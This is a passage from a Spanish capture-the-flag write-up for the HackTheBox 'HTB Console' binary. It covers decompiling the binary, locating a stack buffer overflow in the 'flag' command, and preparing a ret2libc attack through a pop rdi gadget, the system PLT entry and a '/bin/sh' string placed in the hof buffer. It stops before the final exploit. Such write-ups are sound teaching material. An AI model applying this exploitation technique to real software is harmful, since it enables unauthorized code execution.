HTB Console - HackTheBox
Table of Contents
Se nos proporciona un binario con las siguientes protecciones.
$ checksec htb-console Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
Vemos que tenemos el NX habilitado, lo que nos impedira ejecutar codigo en la pila.
Ingenieria inversa
Abrimos el binario con IDA y decompilamos la funcion MAIN
.
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
char s[16]; // [rsp+0h] [rbp-10h] BYREF
sub_401196(a1, a2, a3);
puts("Welcome HTB Console Version 0.1 Beta.");
while ( 1 )
{
printf(">> ");
fgets(s, 16, stdin);
sub_401201(s);
memset(s, 0, sizeof(s));
}
}
El código define un buffer de 16 bytes en la variable s
y muestra el mensaje "Welcome HTB Console Version 0.1 Beta."
con PUTS
. Luego, entra en un bucle infinito (while (1)
) donde solicita una entrada al usuario con printf(">> ")
, la lee con fgets(s, 16, stdin)
, y la pasa a la función sub_401201
. Finalmente, limpia el buffer con memset
. Al decompilar sub_401201
vemos lo siguiente.
int __fastcall sub_401201(const char *a1)
{
char s[16]; // [rsp+10h] [rbp-10h] BYREF
if ( !strcmp(a1, "id\n") )
return puts("guest(1337) guest(1337) HTB(31337)");
if ( !strcmp(a1, "dir\n") )
return puts("/home/HTB");
if ( !strcmp(a1, "flag\n") )
{
printf("Enter flag: ");
fgets(s, 48, stdin);
return puts("Whoops, wrong flag!");
}
else if ( !strcmp(a1, "hof\n") )
{
puts("Register yourself for HTB Hall of Fame!");
printf("Enter your name: ");
fgets(byte_4040B0, 10, stdin);
return puts("See you on HoF soon! :)");
}
else if ( !strcmp(a1, "ls\n") )
{
puts("- Boxes");
puts("- Challenges");
puts("- Endgames");
puts("- Fortress");
return puts("- Battlegrounds");
}
else if ( !strcmp(a1, "date\n") )
{
return system("date");
}
else
{
return puts("Unrecognized command.");
}
}
Esta funcion define un buffer de 16 bytes en la variable s
y procesa diferentes comandos según la entrada del usuario. Dependiendo del input, el programa responde de manera distinta.
"id"
muestra información sobre el usuario."dir"
imprime el directorio/home/HTB
."ls"
enumera varias categorías de HTB."date"
ejecuta el comandodate
consystem()
."hof"
solicita un nombre y lo almacena enbyte_4040B0
con un límite de 10 bytes."flag"
solicita una entrada confgets(s, 48, stdin)
.
Si analizamos el comando "flag"
, el programa lee hasta 48 bytes en un buffer de 16 bytes, lo que hace al binario vulnerable a Buffer Overflow. Esto permite sobrescribir partes de la memoria y tomar control del flujo de ejecución. Entonces si ejecutamos el binario y enviamos el comando "flag"
seguido de una gran cantidad de bytes, provocaremos una violación de segmento (segfault).
$ ./htb-console Welcome HTB Console Version 0.1 Beta. >> flag Enter flag: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Whoops, wrong flag! [1] 93536 segmentation fault (core dumped) ./htb-console
Explotación
Para resolver el desafío, utilizaremos la técnica ret2libc para ejecutar system("/bin/sh")
. Dado que la función system está enlazada en el binario y PIE no está habilitado (lo que evitaría la aleatorización de direcciones), podemos extraerla directamente desde la PLT usando objdump. La dirección de la función SYSTEM
es 0x401381
.
$ objdump -M intel -d htb-console | grep 'system' 0000000000401040 <system@plt>: 401381: e8 ba fc ff ff call 401040 <system@plt>
También necesitamos encontrar un gadget que nos permita cargar un valor en el registro RDI
, ya que según las convenciones de llamada en x86_64, RDI
es el primer registro que toma una función como argumento. Para lograr esto, utilizaremos la herramienta ropper
para localizar un gadget adecuado que nos permita manipular RDI
y pasarle la cadena "/bin/sh"
como argumento a la función system.
$ ropper --file htb-console --search 'pop rdi' [INFO] Load gadgets from cache [LOAD] loading... 100% [LOAD] removing double gadgets... 100% [INFO] Searching for gadgets: pop rdi [INFO] File: htb-console 0x0000000000401473: pop rdi; ret;
Ahora debemos encontrar una manera de pasar la cadena /bin/sh
como argumento a system()
. Como vimos en la función sub_401201
, el comando hof
nos permite ingresar un input que se almacena en la dirección de memoria 0x4040b0
. Esto nos da la posibilidad de escribir /bin/sh
en esa ubicación y luego utilizar su dirección como argumento para system
. Podemos verificar este comportamiento utilizando GDB.
gef➤ run Starting program: /home/abund4nt/pwn/htb/htb-console/htb-console [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". Welcome HTB Console Version 0.1 Beta. >> hof Register yourself for HTB Hall of Fame! Enter your name: abund4nt See you on HoF soon! :) >> ^C Program received signal SIGINT, Interrupt. 0x00007ffff7d1ba61 in __GI___libc_read (fd=0x0, buf=0x7ffff7e03963 <_IO_2_1_stdin_+131>, nbytes=0x1) at ../sysdeps/unix/sysv/linux/read.c:26 warning: 26 ../sysdeps/unix/sysv/linux/read.c: No such file or directory [ Legend: Modified register | Code | Heap | Stack | String ] ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ──── $rax : 0xfffffffffffffe00 $rbx : 0x00007ffff7e038e0 → 0x00000000fbad208b $rcx : 0x00007ffff7d1ba61 → 0x4f77fffff0003d48 ("H="?) $rdx : 0x1 $rsp : 0x00007fffffffdc38 → 0x00007ffff7c927a5 → <_IO_file_underflow+0165> test rax, rax $rbp : 0x00007fffffffdc70 → 0x00007fffffffdc90 → 0x00007fffffffdcf0 → 0x00007fffffffdd20 → 0x00007fffffffdd40 → 0x00007fffffffdde0 → 0x00007fffffffde40 → 0x0000000000000000 $rsi : 0x00007ffff7e03963 → 0xe05720000000000a ("\n"?) $rdi : 0x0 $rip : 0x00007ffff7d1ba61 → 0x4f77fffff0003d48 ("H="?) $r8 : 0x1 $r9 : 0x0 $r10 : 0x00007ffff7c18478 → 0x0011001a0000851e $r11 : 0x246 $r12 : 0x00007ffff7e02030 → 0x0000000000000000 $r13 : 0x00007ffff7e01ee0 → 0x0000000000000000 $r14 : 0x0000000000404080 → 0x00007ffff7e045c0 → 0x00000000fbad2887 $r15 : 0x00007ffff7e038e0 → 0x00000000fbad208b $eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification] $cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00 ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ──── 0x00007fffffffdc38│+0x0000: 0x00007ffff7c927a5 → <_IO_file_underflow+0165> test rax, rax ← $rsp 0x00007fffffffdc40│+0x0008: 0x00007fffffffdd20 → 0x00007fffffffdd40 → 0x00007fffffffdde0 → 0x00007fffffffde40 → 0x0000000000000000 0x00007fffffffdc48│+0x0010: 0x00007ffff7e038e0 → 0x00000000fbad208b 0x00007fffffffdc50│+0x0018: 0x00007ffff7e02030 → 0x0000000000000000 0x00007fffffffdc58│+0x0020: 0x000000000000000f 0x00007fffffffdc60│+0x0028: 0x00007ffff7e03964 → 0xf7e0572000000000 0x00007fffffffdc68│+0x0030: 0x00007ffff7e038e0 → 0x00000000fbad208b 0x00007fffffffdc70│+0x0038: 0x00007fffffffdc90 → 0x00007fffffffdcf0 → 0x00007fffffffdd20 → 0x00007fffffffdd40 → 0x00007fffffffdde0 → 0x00007fffffffde40 → 0x0000000000000000 ← $rbp ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ──── 0x7ffff7d1ba5b <read+000b> je 0x7ffff7d1ba70 <__GI___libc_read+32> 0x7ffff7d1ba5d <read+000d> xor eax, eax 0x7ffff7d1ba5f <read+000f> syscall → 0x7ffff7d1ba61 <read+0011> cmp rax, 0xfffffffffffff000 0x7ffff7d1ba67 <read+0017> ja 0x7ffff7d1bab8 <__GI___libc_read+104> 0x7ffff7d1ba69 <read+0019> ret 0x7ffff7d1ba6a <read+001a> nop WORD PTR [rax+rax*1+0x0] 0x7ffff7d1ba70 <read+0020> push rbp 0x7ffff7d1ba71 <read+0021> mov rbp, rsp ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "htb-console", stopped 0x7ffff7d1ba61 in __GI___libc_read (), reason: SIGINT ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ──── [#0] 0x7ffff7d1ba61 → __GI___libc_read(fd=0x0, buf=0x7ffff7e03963 <_IO_2_1_stdin_+131>, nbytes=0x1) [#1] 0x7ffff7c927a5 → _IO_new_file_underflow(fp=0x7ffff7e038e0 <_IO_2_1_stdin_>) [#2] 0x7ffff7c955d2 → __GI__IO_default_uflow(fp=0x7ffff7e038e0 <_IO_2_1_stdin_>) [#3] 0x7ffff7c86f7a → __GI__IO_getline_info(fp=0x7ffff7e038e0 <_IO_2_1_stdin_>, buf=0x7fffffffdd30 "", n=0xf, delim=0xa, extract_delim=0x1, eof=0x0) [#4] 0x7ffff7c8707c → __GI__IO_getline(fp=0x7ffff7e038e0 <_IO_2_1_stdin_>, buf=0x7fffffffdd30 "", n=0xf, delim=0xa, extract_delim=0x1) [#5] 0x7ffff7c85bd4 → _IO_fgets(buf=0x7fffffffdd30 "", n=0x10, fp=0x7ffff7e038e0 <_IO_2_1_stdin_>) [#6] 0x4013de → lea rax, [rbp-0x10] [#7] 0x7ffff7c2a1ca → __libc_start_call_main(main=0x401397, argc=0x1, argv=0x7fffffffde68) [#8] 0x7ffff7c2a28b → __libc_start_main_impl(main=0x401397, argc=0x1, argv=0x7fffffffde68, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffde58) [#9] 0x4010de → hlt ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── gef➤ x/s 0x4040b0 0x4040b0: "abund4nt\n"
Nuestro input se almacena en la dirección ``0x4040b0. Ahora, necesitamos calcular el offset que nos permitirá sobrescribir el registro RSP y redirigir la ejecución del programa. Para ello, utilizaremos GDB nuevamente.
gef➤ pattern create 150 [+] Generating a pattern of 150 bytes (n=8) aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaa [+] Saved as '$_gef0' gef➤ run Starting program: /home/abund4nt/pwn/htb/htb-console/htb-console [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". Welcome HTB Console Version 0.1 Beta. >> flag Enter flag: aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaa Whoops, wrong flag! Program received signal SIGSEGV, Segmentation fault. 0x0000000000401396 in ?? () [ Legend: Modified register | Code | Heap | Stack | String ] ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ──── $rax : 0x14 $rbx : 0x00007fffffffde68 → 0x00007fffffffe1dd → "/home/abund4nt/pwn/htb/htb-console/htb-console" $rcx : 0x00007ffff7d1c574 → 0x5477fffff0003d48 ("H="?) $rdx : 0x0 $rsp : 0x00007fffffffdd28 → "daaaaaaaeaaaaaaafaaaaaa" $rbp : 0x6161616161616163 ("caaaaaaa"?) $rsi : 0x00007ffff7e04643 → 0xe05710000000000a ("\n"?) $rdi : 0x00007ffff7e05710 → 0x0000000000000000 $rip : 0x0000000000401396 → ret $r8 : 0x13 $r9 : 0x0 $r10 : 0x00007ffff7c1a410 → 0x0011001a0000849e $r11 : 0x202 $r12 : 0x1 $r13 : 0x0 $r14 : 0x0 $r15 : 0x00007ffff7ffd000 → 0x00007ffff7ffe2e0 → 0x0000000000000000 $eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification] $cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00 ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ──── 0x00007fffffffdd28│+0x0000: "daaaaaaaeaaaaaaafaaaaaa" ← $rsp 0x00007fffffffdd30│+0x0008: "eaaaaaaafaaaaaa" 0x00007fffffffdd38│+0x0010: 0x0061616161616166 ("faaaaaa"?) 0x00007fffffffdd40│+0x0018: 0x00007fffffffdde0 → 0x00007fffffffde40 → 0x0000000000000000 0x00007fffffffdd48│+0x0020: 0x00007ffff7c2a1ca → <__libc_start_call_main+007a> mov edi, eax 0x00007fffffffdd50│+0x0028: 0x00007fffffffdd90 → 0x0000000000000000 0x00007fffffffdd58│+0x0030: 0x00007fffffffde68 → 0x00007fffffffe1dd → "/home/abund4nt/pwn/htb/htb-console/htb-console" 0x00007fffffffdd60│+0x0038: 0x0000000100400040 ("@"?) ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ──── 0x40138f call 0x401030 <puts@plt> 0x401394 nop 0x401395 leave → 0x401396 ret [!] Cannot disassemble from $PC ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "htb-console", stopped 0x401396 in ?? (), reason: SIGSEGV ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ──── [#0] 0x401396 → ret ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── gef➤ agaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaa Undefined command: "agaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaa". Try "help". gef➤ pattern search $rsp [+] Searching for '6461616161616161'/'6161616161616164' with period=8 [+] Found at offset 24 (little-endian search) likely
Necesitamos enviar 24 bytes, con toda esta información tenemos todo lo necesario para comenzar a construir el exploit. En resumen primero vamos almacenar la cadena /bin/sh
en la direccion de mem